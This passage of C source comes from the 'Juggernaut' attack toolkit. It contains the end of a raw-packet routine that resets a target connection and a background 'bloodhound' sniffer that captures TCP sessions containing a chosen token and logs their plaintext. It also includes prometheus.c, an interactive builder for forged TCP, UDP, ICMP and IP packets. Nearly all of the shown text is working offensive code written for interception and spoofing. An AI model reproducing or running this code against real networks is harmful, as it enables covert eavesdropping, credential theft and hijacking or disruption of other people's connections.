  2596.             ppheader->tlen=htons(TCPHDR+len);         
  2597.             bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
  2598.             tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);
  2599.  
  2600.         sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
  2601.         }
  2602.     }
  2603.     crst(target);
  2604.     /*free(tempBuf);        XXX */
  2605.     close(tlinksock);
  2606. }
  2607.  
  2608.  
  2609. /*
  2610.  *  Packet sniffer parses TCP packets for token.  Logs that packet, along with
  2611.  *  the next 'enticement` number of packets.  Not really all that robust.
  2612.  */
  2613.  
  2614. void bloodhound(token,enticementfactor)
  2615. char *token;
  2616. int enticementfactor;
  2617. {
  2618.  
  2619.     void parsep(char *,int,FILE *);
  2620.     void shadow();
  2621.     char *hostLookup(unsigned long);
  2622.  
  2623.     FILE *fp=0;                         
  2624.     time_t tp=0;
  2625.  
  2626.     int length=0;
  2627.     int grabflag=0;                     /* Time to grab some packets */
  2628.     unsigned long targetsourceip=0;
  2629.     unsigned short targetsourceport=0;
  2630.     int tlinksock=tap(DEVICE);          
  2631.  
  2632.     if(!(fp=fopen(SNIFLOG,"a+"))){      /* Log to file */
  2633.         if(verbosity){
  2634.             fprintf(stderr,"Cannot open file for logging. [fatal]\n");
  2635.             fprintf(stderr,"[cr]");
  2636.         }
  2637.         exit(0);
  2638.     }
  2639.  
  2640.     ALIGNNETPOINTERS();
  2641.  
  2642.     fprintf(stderr,"\nDropping to background, sniffing for smarmy tidbits...\n");
  2643.  
  2644.     shadow();                           /* Dropped to the background */
  2645.     fprintf(stderr,"\nSend a SIGKILL to %d when you are thorugh.\n",getpid());
  2646.  
  2647.     fprintf(fp,"\n---------------------------------------------------------------------\n[ Juggernaut bloodhound module log: token == '%s' ]\n",token);
  2648.     time(&tp);
  2649.     fprintf(fp,"[ Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
  2650.     fflush(fp);
  2651.     
  2652.     while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP){
  2653.         length=htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp);
  2654.  
  2655.         if((!grabflag)&&(strstr((epack.payload-2),token))){   
  2656.             grabflag=enticementfactor;                           
  2657.             targetsourceip=iphp->saddr;                          
  2658.             targetsourceport=tcphp->source;
  2659.             fprintf(fp,"\n\t %s [%d]\t<-->\t %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest));
  2660.             parsep(epack.payload-2,length,fp);
  2661.         }                
  2662.         if(grabflag){                   /* We have a session marked and are
  2663.                                            logging it */
  2664.             if(iphp->daddr==targetsourceip&&tcphp->dest==targetsourceport){
  2665.                 parsep(epack.payload-2,length,fp);
  2666.                 grabflag--;
  2667.             }
  2668.         }        
  2669.     }
  2670.     /* NOTREACHED */
  2671. }
  2672.  
  2673.  
  2674. /* 
  2675.  *  Packet parser.  Print the packet out...
  2676.  */
  2677.  
  2678. void parsep(payload,length,fp)
  2679. char *payload;
  2680. int length;
  2681. FILE *fp;
  2682. {
  2683.     register int tickytacky=0;
  2684.  
  2685.     for(tickytacky=0;tickytacky<length;tickytacky++){
  2686.         if(payload[tickytacky]==0xd){        /* newline characater */
  2687.             fprintf(fp,"\n");
  2688.             continue;
  2689.         }
  2690.         if(isprint(payload[tickytacky]))fprintf(fp,"%c",payload[tickytacky]);
  2691.     }
  2692.     fflush(fp);
  2693. }
  2694.  
  2695.  
  2696. /*
  2697.  *  Handles network timeouts.
  2698.  */
  2699.  
  2700. void nettimeout(){
  2701.  
  2702.     alarm(0);
  2703.     longjmp(env,1);
  2704. }
  2705. <-->
  2706. <++> Juggernaut/NumberOneCrush/prometheus.c
  2707. /*
  2708.  *
  2709.  *                                  Juggernaut
  2710.  *                                  Version b2
  2711.  *
  2712.  *                            1996/7 Guild productions
  2713.  *                           daemon9[guild|phrack|r00t]
  2714.  *
  2715.  *                         comments to route@infonexus.com
  2716.  *
  2717.  *  This coding project made possible by a grant from the Guild corporation
  2718.  * 
  2719.  *  prometheus.c - the packet assemby workshop module.  Each of the main 
  2720.  *  packet assembly subfunctions will end up calling the ip assembler to build
  2721.  *  the IP portion and send it (them) out.
  2722.  *
  2723.  *  Too many dependencies in menu.c 
  2724.  *
  2725.  *  Shout out to Nirva for some suggestions/help.  Nirva rules, BTW.  I love 
  2726.  *  Nirva.  You should too.
  2727.  *
  2728.  */
  2729.  
  2730.  
  2731. #include <stdio.h>
  2732. #include <string.h>
  2733. #include <stdlib.h>
  2734. #include <time.h>
  2735. #include <netinet/in.h>
  2736. #include <unistd.h>
  2737. #include <arpa/inet.h>
  2738. #include <netdb.h>
  2739. #include <arpa/inet.h>
  2740. #include <sys/types.h>
  2741. #include <sys/stat.h>
  2742. #include <fcntl.h>
  2743. #include <linux/socket.h>
  2744. #include <linux/ip.h>
  2745. #include <linux/tcp.h>
  2746. #include <linux/udp.h>
  2747. #include <linux/icmp.h>
  2748. #include <linux/if_ether.h>
  2749. #include <linux/if.h>
  2750.  
  2751. #define MINIBUF     10  
  2752. #define BUFSIZE     512
  2753. #define ETHHDR      14
  2754. #define PHDR        12
  2755. #define TCPHDR      20
  2756. #define UDPHDR      8
  2757. #define IPHDR       20
  2758.  
  2759. #define NOTRANSPORT     0x00
  2760. #define TCPTRANSPORT    0x01
  2761. #define UDPTRANSPORT    0x02
  2762. #define ICMPTRANSPORT   0x04
  2763.  
  2764. struct tpak{            /* TCP packet */
  2765.     struct tcphdr tcp;
  2766.     char payload[BUFSIZE];
  2767. }tpack;
  2768.  
  2769. struct upak{            /* UDP packet */
  2770.     struct udphdr udp;
  2771.     char payload[BUFSIZE];
  2772. }upack;
  2773.  
  2774. struct ipak{            /* ICMP packet */
  2775.     struct icmphdr icmp;
  2776.     char payload[BUFSIZE];
  2777. }ipack;
  2778.  
  2779. struct rippak{             /* IP packet */
  2780.     struct iphdr ip;
  2781.     char payload[BUFSIZE+20];   /* Payload + transport header */
  2782. }rippack;
  2783.  
  2784. int woe;                        /* Global var to let us know where to return 
  2785.                                    to... */
  2786. extern int verbosity;
  2787.  
  2788.                 /* This will change when IP/TCP options are 
  2789.                                    implemented... */
  2790. #define RIPPACKETSIZE 552    /* IP header + transport header of up to 20 
  2791.                                    bytes + 512 byte payload */
  2792.  
  2793. int prometheus(type)
  2794. int type;
  2795. {
  2796.     void tcpa();
  2797.     void udpa();
  2798.     void icmpa();
  2799.     void igmpa();
  2800.     void ripa(int);
  2801.  
  2802.     bzero(&rippack,sizeof(rippack));
  2803.     woe=0;
  2804.  
  2805.     switch(type){
  2806.         case 1:
  2807.         tcpa();        /* TCP */
  2808.         break;
  2809.     case 2:
  2810.         udpa();        /* UDP */
  2811.         break;
  2812.     case 3:                
  2813.         icmpa();        /* ICMP */
  2814.         break;
  2815.     case 4:
  2816.         ripa(NOTRANSPORT);    /* RAW IP with no transport and no payload */    
  2817.         break;
  2818.     case 5:
  2819.         return(woe=1);      /* Done assembling packets */
  2820.     default:
  2821.         break;              /* bad input -- not done */            
  2822.     }
  2823.     return(woe);
  2824. }
  2825.  
  2826.  
  2827. /* 
  2828.  *  TCP assembler
  2829.  */
  2830.  
  2831. void tcpa(){
  2832.  
  2833.     void ripa(int);
  2834.     void mwipe();
  2835.     void mpktatcp(int,unsigned short,unsigned short,unsigned long,unsigned long,char *,unsigned short,char *);
  2836.  
  2837.     char buf[2*MINIBUF];
  2838.     unsigned long val;
  2839.     int packetready=0;        /* flag bits */
  2840.     char data[4*MINIBUF]={0},flags[MINIBUF]={0},filename[4*MINIBUF]={0};
  2841.     int i,j,fd,loopsentry=1;
  2842.  
  2843.     bzero(&tpack,sizeof(tpack));
  2844.  
  2845.     srandom((unsigned)time(0)); /* seed psuedo random number generator */ 
  2846.  
  2847.     while(loopsentry){
  2848.         mwipe();    
  2849.     mpktatcp(packetready,ntohs(tpack.tcp.source),ntohs(tpack.tcp.dest),ntohl(tpack.tcp.seq),ntohl(tpack.tcp.ack_seq),flags,ntohs(tpack.tcp.window),data);
  2850.                     
  2851.         fgets(buf,sizeof(buf),stdin);
  2852.         if(!(val=atoi(buf)))continue;
  2853.         switch(val){
  2854.             case 1:         /* Source Port */
  2855.              fprintf(stderr,"\nSource Port (0 - 65535) [qr] >");
  2856.                 fgets(buf,sizeof(buf),stdin);
  2857.         if(buf[0]=='r'){
  2858.             tpack.tcp.source=htons(random()&0xffff);
  2859.             packetready|=0x01;
  2860.             break;
  2861.         }
  2862.                 if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
  2863.             if(packetready&0x01)packetready^=0x01;    /* Clear flag 
  2864.                                                                    if set */
  2865.             tpack.tcp.source=0;
  2866.             break;
  2867.         }
  2868.         tpack.tcp.source=htons(val);
  2869.         packetready|=0x01;
  2870.         break;
  2871.             case 2:         /* Destination Port */
  2872.             fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >");
  2873.                 fgets(buf,sizeof(buf),stdin);
  2874.         if(buf[0]=='r'){
  2875.             tpack.tcp.dest=htons(random()&0xffff);
  2876.             packetready|=0x02;
  2877.             break;
  2878.         }
  2879.                 if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
  2880.             if(packetready&0x02)packetready^=0x02;
  2881.             tpack.tcp.dest=0;
  2882.             break;
  2883.         }
  2884.         tpack.tcp.dest=htons(val);
  2885.         packetready|=0x02;
  2886.         break;
  2887.             case 3:         /* Sequence Number */
  2888.             fprintf(stderr,"\nSequence Number (0 - 4294967295) [qr] >");
  2889.                 fgets(buf,sizeof(buf),stdin);
  2890.         if(buf[0]=='r'){
  2891.             tpack.tcp.seq=htonl(random());
  2892.             packetready|=0x04;
  2893.             break;
  2894.         }
  2895.                 if(buf[0]=='q'||buf[0]=='-'){                           
  2896.             if(packetready&0x04)packetready^=0x04;        
  2897.             tpack.tcp.seq=0;
  2898.             break;
  2899.         }
  2900.         tpack.tcp.seq=htonl(strtoul(buf,0,10));
  2901.         packetready|=0x04;
  2902.         break;
  2903.             case 4:         /* Acknowledgement Number */
  2904.             fprintf(stderr,"\nAcknowledgement Number (0 - 4294967295) [qr] >");
  2905.                 fgets(buf,sizeof(buf),stdin);
  2906.         if(buf[0]=='r'){
  2907.             tpack.tcp.ack_seq=htonl(random());
  2908.             packetready|=0x08;
  2909.             break;
  2910.         }
  2911.                 if(buf[0]=='q'||buf[0]=='-'){
  2912.             if(packetready&0x08)packetready^=0x08;
  2913.             tpack.tcp.ack_seq=0;
  2914.             break;
  2915.         }
  2916.         tpack.tcp.ack_seq=htonl(strtoul(buf,0,10));
  2917.         packetready|=0x08;
  2918.         break;
  2919.         case 5:         /* Control Flags */
  2920.             i=0;
  2921.         bzero(flags,sizeof(flags));
  2922.             fprintf(stderr,"\nURG? [yNq] >");
  2923.                 fgets(buf,sizeof(buf),stdin);
  2924.         if(buf[0]=='q'){
  2925.             if(packetready&0x10)packetready^=0x10;
  2926.             tpack.tcp.urg=0;
  2927.             break;
  2928.         }
  2929.             if(buf[0]=='y'){
  2930.             tpack.tcp.urg=1;
  2931.             flags[i++]='U';
  2932.         }
  2933.         fprintf(stderr,"\nACK? [yNq] >");
  2934.                 fgets(buf,sizeof(buf),stdin);
  2935.         if(buf[0]=='q'){
  2936.             if(packetready&0x10)packetready^=0x10;        
  2937.             tpack.tcp.ack=0;
  2938.             break;
  2939.         }
  2940.         if(buf[0]=='y'){
  2941.             tpack.tcp.ack=1;
  2942.             flags[i++]='A';
  2943.         }
  2944.         fprintf(stderr,"\nPSH? [yNq] >");
  2945.                 fgets(buf,sizeof(buf),stdin);
  2946.         if(buf[0]=='q'){
  2947.             if(packetready&0x10)packetready^=0x10;
  2948.             tpack.tcp.psh=0;
  2949.             break;
  2950.         }
  2951.         if(buf[0]=='y'){
  2952.             tpack.tcp.psh=1;
  2953.             flags[i++]='P';
  2954.         }
  2955.         fprintf(stderr,"\nRST? [yNq] >");
  2956.                 fgets(buf,sizeof(buf),stdin);
  2957.         if(buf[0]=='q'){
  2958.             if(packetready&0x10)packetready^=0x10;    
  2959.             tpack.tcp.rst=0;
  2960.             break;
  2961.         }
  2962.         if(buf[0]=='y'){
  2963.             tpack.tcp.rst=1;
  2964.             flags[i++]='R';
  2965.         }
  2966.         fprintf(stderr,"\nSYN? [yNq] >");
  2967.                 fgets(buf,sizeof(buf),stdin);
  2968.         if(buf[0]=='q'){
  2969.             if(packetready&0x10)packetready^=0x10;
  2970.             tpack.tcp.syn=0;
  2971.             break;
  2972.         }
  2973.         if(buf[0]=='y'){
  2974.             tpack.tcp.syn=1;
  2975.             flags[i++]='S';
  2976.         }
  2977.         fprintf(stderr,"\nFIN? [yNq] >");
  2978.                 fgets(buf,sizeof(buf),stdin);
  2979.             if(buf[0]=='q'){
  2980.             if(packetready&0x10)packetready^=0x10;        
  2981.             tpack.tcp.fin=0;
  2982.             break;
  2983.         }
  2984.         if(buf[0]=='y'){
  2985.             tpack.tcp.fin=1;
  2986.             flags[i++]='F';
  2987.             }
  2988.         if(!flags[0])strcpy(flags,"none set");
  2989.         packetready|=0x10;
  2990.         break;
  2991.             case 6:     /* Window Size */
  2992.             fprintf(stderr,"\nWindow Size (0 - 65535) [qr] >");
  2993.                 fgets(buf,sizeof(buf),stdin);
  2994.         if(buf[0]=='r'){
  2995.             tpack.tcp.window=htons(random()&0xffff);
  2996.             packetready|=0x20;
  2997.             break;
  2998.         }
  2999.                 if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){
  3000.             if(packetready&0x20)packetready^=0x20;
  3001.             tpack.tcp.window=0;
  3002.             break;
  3003.         }
  3004.         tpack.tcp.window=htons(val);
  3005.         packetready|=0x20;
  3006.         break;
  3007.             case 7:     /* Data payload */
  3008.             bzero(data,sizeof(data));
  3009.         bzero(tpack.payload,sizeof(tpack.payload));
  3010.         bzero(filename,sizeof(filename));
  3011.         fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
  3012.                 fgets(buf,sizeof(buf),stdin);
  3013.         if(buf[0]=='c'){    /* Input from command line */
  3014.             fprintf(stderr,"\nEnter Payload [q] >");
  3015.             fgets(tpack.payload,sizeof(tpack.payload),stdin);
  3016.             strncpy(data,tpack.payload,sizeof(data));
  3017.             packetready|=0x40;
  3018.             break;
  3019.         }
  3020.         if(buf[0]=='f'){    /* Input from file */
  3021.             fprintf(stderr,"\nFilename [q] >");
  3022.             if(buf[0]==0x0a||buf[0]=='q')break;
  3023.             fgets(filename,sizeof(filename),stdin);
  3024.             for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
  3025.             filename[--i]=0;    /* Pesky Newline */
  3026.             if((fd=open(filename,O_RDONLY))<0){
  3027.                         if(verbosity){
  3028.                             fprintf(stderr,"Cannot open file for reading.\n");
  3029.                             fprintf(stderr,"[cr]");
  3030.                             getchar();
  3031.                         }
  3032.             continue;
  3033.                     }
  3034.                     i=0;
  3035.                     j=0;
  3036.             while(i<512){
  3037.                         j=read(fd,tpack.payload,sizeof(tpack.payload));
  3038.                         if(!j)break;    /* No more bytes ta read */
  3039.                         i+=j;
  3040.                     }
  3041.             strncpy(data,filename,sizeof(filename));
  3042.             close(fd);
  3043.             packetready|=0x40;
  3044.             break;
  3045.                    }   
  3046.         if(packetready&0x40)packetready^=0x40;
  3047.         bzero(data,sizeof(data));
  3048.         bzero(tpack.payload,sizeof(tpack.payload));
  3049.         break;
  3050.         case 8:         /* Return to previous menu */
  3051.             loopsentry=0;
  3052.                 bzero(&tpack,sizeof(tpack));
  3053.         break;
  3054.             case 9:         /* Return to Main */
  3055.             loopsentry=0;
  3056.                 woe=1;
  3057.                 break;
  3058.         case 10:        /* RIP assembler */
  3059.             if(packetready==0x07f){        /* AND mask of all the options */
  3060.                     tpack.tcp.doff=5;       /* Data offset */
  3061.             ripa(TCPTRANSPORT);        /* Checksum will be computed in 
  3062.                                                ripa */
  3063.             break;
  3064.         }
  3065.                 continue;
  3066.         default:        /* Bad input */
  3067.             continue;
  3068.         }
  3069.     }
  3070. }
  3071.  
  3072. /* 
  3073.  *  UDP assembler
  3074.  */
  3075.  
  3076. void udpa(){
  3077.  
  3078.     void ripa(int);
  3079.     void mwipe();
  3080.     void mpktaudp(int,unsigned short,unsigned short,char *);
  3081.  
  3082.     char buf[2*MINIBUF];
  3083.     unsigned long val;
  3084.     int packetready=0;        /* flag bits */
  3085.     char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};
  3086.     int i=0,j,fd=0,loopsentry=1;
  3087.  
  3088.     bzero(&upack,sizeof(upack));
  3089.  
  3090.     srandom((unsigned)time(0));
  3091.  
  3092.     while(loopsentry){
  3093.         mwipe();    
  3094.  
  3095.     mpktaudp(packetready,ntohs(upack.udp.source),ntohs(upack.udp.dest),data);
  3096.                 
  3097.     fgets(buf,sizeof(buf),stdin);
  3098.         if(!(val=atoi(buf)))continue;
  3099.         switch(val){
  3100.             case 1:         /* Source Port */
  3101.             fprintf(stderr,"\nSource Port (0 - 65535) [qr] >");
  3102.                 fgets(buf,sizeof(buf),stdin);
  3103.         if(buf[0]==0x0a||buf[0]=='q'){
  3104.             if(packetready&0x01)packetready^=0x01;    
  3105.             upack.udp.source=0;
  3106.             break;
  3107.         }
  3108.         if(buf[0]=='r'){
  3109.             upack.udp.source=htons(random()&0xffff);
  3110.             packetready|=0x01;
  3111.             break;
  3112.         }
  3113.         if(!(int)(val=atoi(buf)))break;
  3114.             upack.udp.source=htons(val);
  3115.         packetready|=0x01;
  3116.         break;
  3117.             case 2:        /* Destination Port */
  3118.             fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >");
  3119.                 fgets(buf,sizeof(buf),stdin);
  3120.         if(buf[0]==0x0a||buf[0]=='q'){
  3121.             if(packetready&0x02)packetready^=0x02;
  3122.             upack.udp.dest=0;
  3123.             break;
  3124.         }
  3125.         if(buf[0]=='r'){
  3126.             upack.udp.dest=htons(random()&0xffff);
  3127.             packetready|=0x02;
  3128.             break;
  3129.                 }
  3130.         if(!(int)(val=atoi(buf)))break;
  3131.         upack.udp.dest=htons(val);
  3132.         packetready|=0x02;
  3133.         break;
  3134.         case 3:        /* Data payload */
  3135.             bzero(data,sizeof(data));
  3136.             bzero(upack.payload,sizeof(upack.payload));
  3137.         bzero(filename,sizeof(filename));
  3138.         fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
  3139.                 fgets(buf,sizeof(buf),stdin);
  3140.         if(buf[0]=='c'){    /* Input from command line */
  3141.             fprintf(stderr,"\nEnter Payload [q] >");
  3142.             fgets(upack.payload,sizeof(upack.payload),stdin);
  3143.             strncpy(data,upack.payload,sizeof(data));
  3144.             packetready|=0x04;
  3145.             break;
  3146.         }
  3147.             if(buf[0]=='f'){    /* Input from file */
  3148.             fprintf(stderr,"\nFilename [q] >");
  3149.             if(buf[0]==0x0a||buf[0]=='q')break;
  3150.             fgets(filename,sizeof(filename),stdin);
  3151.             for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
  3152.             filename[--i]=0;
  3153.             if((fd=open(filename,O_RDONLY))<0){
  3154.                         if(verbosity){
  3155.                             fprintf(stderr,"Cannot open file for reading.\n");
  3156.                             fprintf(stderr,"[cr]");
  3157.                             getchar();
  3158.                         }
  3159.             continue;
  3160.                     }
  3161.                     i=0;
  3162.                     j=0;
  3163.             while(i<512){
  3164.                         j=read(fd,upack.payload,sizeof(upack.payload));
  3165.                         if(!j)break;  
  3166.                         i+=j;
  3167.                     }
  3168.             strncpy(data,filename,sizeof(filename));
  3169.             close(fd);
  3170.             packetready|=0x04;
  3171.             break;
  3172.                 }
  3173.         if(packetready&0x04)packetready^=0x04;
  3174.         bzero(data,sizeof(data));
  3175.         bzero(upack.payload,sizeof(upack.payload));
  3176.         break;
  3177.         case 4:     /* Return to previous menu */
  3178.             loopsentry=0;
  3179.                 bzero(&upack,sizeof(upack));
  3180.         break;
  3181.             case 5:     /* Retuen to Main */
  3182.                 loopsentry=0;
  3183.                 woe=1;
  3184.                 break;
  3185.         case 6:     /* RIP assembler */
  3186.             if(packetready==0x07){        
  3187.                     upack.udp.len=htons(UDPHDR+BUFSIZE);
  3188.             ripa(UDPTRANSPORT);        
  3189.             break;
  3190.         }
  3191.             continue;
  3192.         default:    /* bad input */
  3193.             continue;   
  3194.         }
  3195.     }
  3196. }
  3197.  
  3198. /* 
  3199.  *  ICMP assembler
  3200.  *  This is no where as robust as it should be.  In fact, it doesn't really 
  3201.  *  create legal ICMP packets.  Oh well.  Next version.  I am tired of
  3202.  *  packet assembly duldrums...
  3203.  */
  3204.  
  3205. void icmpa(){
  3206.  
  3207.     void ripa(int);
  3208.     void mwipe();
  3209.     void mpktaicmp(int,unsigned short,unsigned short,char *);
  3210.  
  3211.     char buf[2*MINIBUF];
  3212.     unsigned long val;
  3213.     int packetready=0;        /* flag bits */
  3214.     char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};
  3215.     int i=0,j,fd=0,loopsentry=1;
  3216.  
  3217.     bzero(&ipack,sizeof(ipack));
  3218.  
  3219.     while(loopsentry){
  3220.         mwipe();    
  3221.  
  3222.         mpktaicmp(packetready,ipack.icmp.type,ipack.icmp.code,data);
  3223.                 
  3224.     fgets(buf,sizeof(buf),stdin);
  3225.         if(!(val=atoi(buf)))continue;
  3226.         switch(val){
  3227.             case 1:                /* Type */
  3228.             fprintf(stderr,"\nType (0,3,4,5,8,9,10,11,12,13,14,15,16,17,18) [q] >");
  3229.                 fgets(buf,sizeof(buf),stdin);
  3230.         if(buf[0]==0x0a||buf[0]=='q'){
  3231.             if(packetready&0x01)packetready^=0x01;
  3232.             ipack.icmp.type=0;
  3233.             break;
  3234.         }
  3235.             if(!(int)(val=atoi(buf)))break;
  3236.         ipack.icmp.type=val;
  3237.         packetready|=0x01;
  3238.         break;
  3239.             case 2:                /* Code */
  3240.             fprintf(stderr,"\nCode (0,1 {2,3}) [q] >");
  3241.                 fgets(buf,sizeof(buf),stdin);
  3242.         if(buf[0]==0x0a||buf[0]=='q'){
  3243.         if(packetready&0x02)packetready^=0x02;
  3244.             ipack.icmp.code=0;
  3245.             break;
  3246.         }
  3247.         if(!(int)(val=atoi(buf)))break;
  3248.         ipack.icmp.code=val;
  3249.         packetready|=0x02;
  3250.         break;
  3251.         case 3:                /* Data payload */
  3252.             bzero(data,sizeof(data));
  3253.         bzero(ipack.payload,sizeof(ipack.payload));
  3254.         bzero(filename,sizeof(filename));
  3255.         fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >");
  3256.                 fgets(buf,sizeof(buf),stdin);
  3257.         if(buf[0]=='c'){    /* Input from command line */
  3258.             fprintf(stderr,"\nEnter Payload [q] >");
  3259.             fgets(ipack.payload,sizeof(ipack.payload),stdin);
  3260.             strncpy(data,ipack.payload,sizeof(data));
  3261.             packetready|=0x04;
  3262.             break;
  3263.         }
  3264.         if(buf[0]=='f'){    /* Input from file */
  3265.             fprintf(stderr,"\nFilename [q] >");
  3266.             if(buf[0]==0x0a||buf[0]=='q')break;
  3267.             fgets(filename,sizeof(filename),stdin);
  3268.             for(i=0;i<4*MINIBUF;i++)if(!filename[i])break;
  3269.             filename[--i]=0;    
  3270.             if((fd=open(filename,O_RDONLY))<0){
  3271.                         if(verbosity){
  3272.                             fprintf(stderr,"Cannot open file for reading.\n");
  3273.                             fprintf(stderr,"[cr]");
  3274.                             getchar();
  3275.                         }
  3276.                 continue;
  3277.                     }
  3278.                     i=0;
  3279.                     j=0;
  3280.                     while(i<512){
  3281.                         j=read(fd,upack.payload,sizeof(upack.payload));
  3282.                         if(!j)break; 
  3283.                         i+=j;
  3284.                     }
  3285.                     strncpy(data,filename,sizeof(filename));
  3286.             close(fd);
  3287.             packetready|=0x04;
  3288.             break;
  3289.                 }
  3290.         if(packetready&0x04)packetready^=0x04;    
  3291.         bzero(data,sizeof(data));
  3292.         bzero(ipack.payload,sizeof(ipack.payload));
  3293.         break;
  3294.         case 4:    
  3295.                 loopsentry=0;
  3296.             bzero(&ipack,sizeof(ipack));
  3297.         break;
  3298.             case 5:
  3299.                 loopsentry=0;
  3300.                 woe=1;
  3301.                 break;
  3302.         case 6: 
  3303.             if(packetready==0x07){    
  3304.             ripa(ICMPTRANSPORT);        
  3305.             break;
  3306.         }
  3307.         continue;
  3308.         default: 
  3309.             continue;
  3310.         }
  3311.     }
  3312. }
  3313.  
  3314.  
  3315. /* 
  3316.  *  IP assembler and xmitter.  Transport layer checksum routines thanks to 
  3317.  *  Myth (Red, actually).
  3318.  */
  3319.  
  3320. void ripa(transport)
  3321. int transport;
  3322. {
  3323.  
  3324.     void mwipe();
  3325.     void mpktaip(int,char *,char *,unsigned short,unsigned short,char *,char *,int,char *);
  3326.     char *hostLookup(unsigned long);
  3327.     unsigned long nameResolve(char *);
  3328.     unsigned short in_cksum(unsigned short *,int);
  3329.     
  3330.  
  3331.     char buf[2*MINIBUF];
  3332.     unsigned long val;
  3333.     char tosflags[MINIBUF]={0},fflags[MINIBUF]={0},packettype[MINIBUF]={0};
  3334.     char sip[2*MINIBUF]={0},dip[2*MINIBUF]={0},*tempBuf;
  3335.     int packetready=0;              /* flag bits */
  3336.     int i=0,j=0,k=0;                /* Counters */
  3337.     int loopsentry=1,number=0;
  3338.  
  3339.     struct sockaddr_in sin;     
  3340.  
  3341.     struct psuedoHeader{                        
  3342.         unsigned long saddr;
  3343.         unsigned long daddr;
  3344.         unsigned char null;
  3345.         unsigned char prot;
  3346.         unsigned short tlen;
  3347.     }*ppheader;
  3348.  
  3349.     extern int ripsock;
  3350.  
  3351.     bzero(&rippack,sizeof(rippack));
  3352.     bzero((char *)&sin,sizeof(sin));
  3353.     
  3354.     srandom((unsigned)time(0));   
  3355.  
  3356.     while(loopsentry){
  3357.         i=0;
  3358.         mwipe();
  3359.         mpktaip(packetready,tosflags,fflags,ntohs(rippack.ip.frag_off),rippack.ip.ttl,sip,dip,number,packettype);
  3360.         
  3361.         fgets(buf,sizeof(buf),stdin);
  3362.         if(!(val=atoi(buf)))continue;
  3363.         switch(val){
  3364.             case 1:     /* TOS */
  3365.             bzero(tosflags,sizeof(tosflags));
  3366.         fprintf(stderr,"\nMinimize Delay? [yNq] >");
  3367.                 fgets(buf,sizeof(buf),stdin);
  3368.         if(buf[0]=='q'){
  3369.             if(packetready&0x01)packetready^=0x01; 
  3370.             rippack.ip.tos=0;
  3371.             break;
  3372.         }
  3373.         if(buf[0]=='y'){
  3374.             rippack.ip.tos|=0x10;
  3375.             tosflags[i++]='D';
  3376.         }
  3377.         fprintf(stderr,"\nMaximize Throughput? [yNq] >");
  3378.                 fgets(buf,sizeof(buf),stdin);
  3379.         if(buf[0]=='q'){
  3380.             if(packetready&0x01)packetready^=0x01; 
  3381.             rippack.ip.tos=0;
  3382.             break;
  3383.         }
  3384.         if(buf[0]=='y'){
  3385.             rippack.ip.tos|=0x08;
  3386.             tosflags[i++]='T';
  3387.         }
  3388.         fprintf(stderr,"\nMaximize Reliability? [yNq] >");
  3389.                 fgets(buf,sizeof(buf),stdin);
  3390.         if(buf[0]=='q'){
  3391.             if(packetready&0x01)packetready^=0x01; 
  3392.             rippack.ip.tos=0;
  3393.             break;
  3394.         }
  3395.         if(buf[0]=='y'){
  3396.             rippack.ip.tos|=0x04;
  3397.             tosflags[i++]='R';
  3398.         }
  3399.         fprintf(stderr,"\nMinimize Monetary Cost? [yNq] >");
  3400.                 fgets(buf,sizeof(buf),stdin);
  3401.         if(buf[0]=='q'){
  3402.             if(packetready&0x01)packetready^=0x01; 
  3403.             rippack.ip.tos=0;
  3404.             break;
  3405.         }
  3406.         if(buf[0]=='y'){
  3407.             rippack.ip.tos|=0x02;
  3408.             tosflags[i++]='C';
  3409.         }
  3410.         if(!tosflags[0])strcpy(tosflags,"none set");
  3411.         packetready|=0x01;
  3412.         break;
  3413.             case 2:            /* Frag Flags */
  3414.             bzero(fflags,sizeof(fflags));
  3415.         fprintf(stderr,"\nMore Fragments? [yNq] >");
  3416.                 fgets(buf,sizeof(buf),stdin);
  3417.         if(buf[0]=='q'){
  3418.             if(packetready&0x02)packetready^=0x02; 
  3419.             rippack.ip.frag_off=0;
  3420.             break;
  3421.         }
  3422.         if(buf[0]=='y'){
  3423.             rippack.ip.frag_off|=htons(0x4000);
  3424.             fflags[i++]='M';
  3425.         }
  3426.         fprintf(stderr,"\nDon't Fragment? [yNq] >");
  3427.                 fgets(buf,sizeof(buf),stdin);
  3428.         if(buf[0]=='q'){
  3429.             if(packetready&0x02)packetready^=0x02; 
  3430.             rippack.ip.frag_off=0;
  3431.             break;
  3432.         }
  3433.             if(buf[0]=='y'){
  3434.             rippack.ip.frag_off|=htons(0x2000);
  3435.             fflags[i++]='D';
  3436.         }
  3437.                 if(!fflags[0])strcpy(fflags,"none set");
  3438.         packetready|=0x02;
  3439.         break;
  3440.             case 3:         /* Frag Offset */
  3441.             fprintf(stderr,"\nFragment Offset [qr] >");
  3442.                 fgets(buf,sizeof(buf),stdin);
  3443.             if(buf[0]=='r'){
  3444.             rippack.ip.frag_off|=htons(random()&0x1fff);
  3445.             packetready|=0x04;
  3446.             break;
  3447.             }
  3448.                 if(buf[0]=='q'||(val=atoi(buf))<0||val>8191){
  3449.             if(packetready&0x04)packetready^=0x04;
  3450.             rippack.ip.frag_off&=~0x3fff;
  3451.             break;
  3452.             }
  3453.                 rippack.ip.frag_off|=htons(val&0x1fff);
  3454.             packetready|=0x04;
  3455.                 break;
  3456.             case 4:            /* TTL */
  3457.                 fprintf(stderr,"\nTTL (0 - 255) [qr] >");
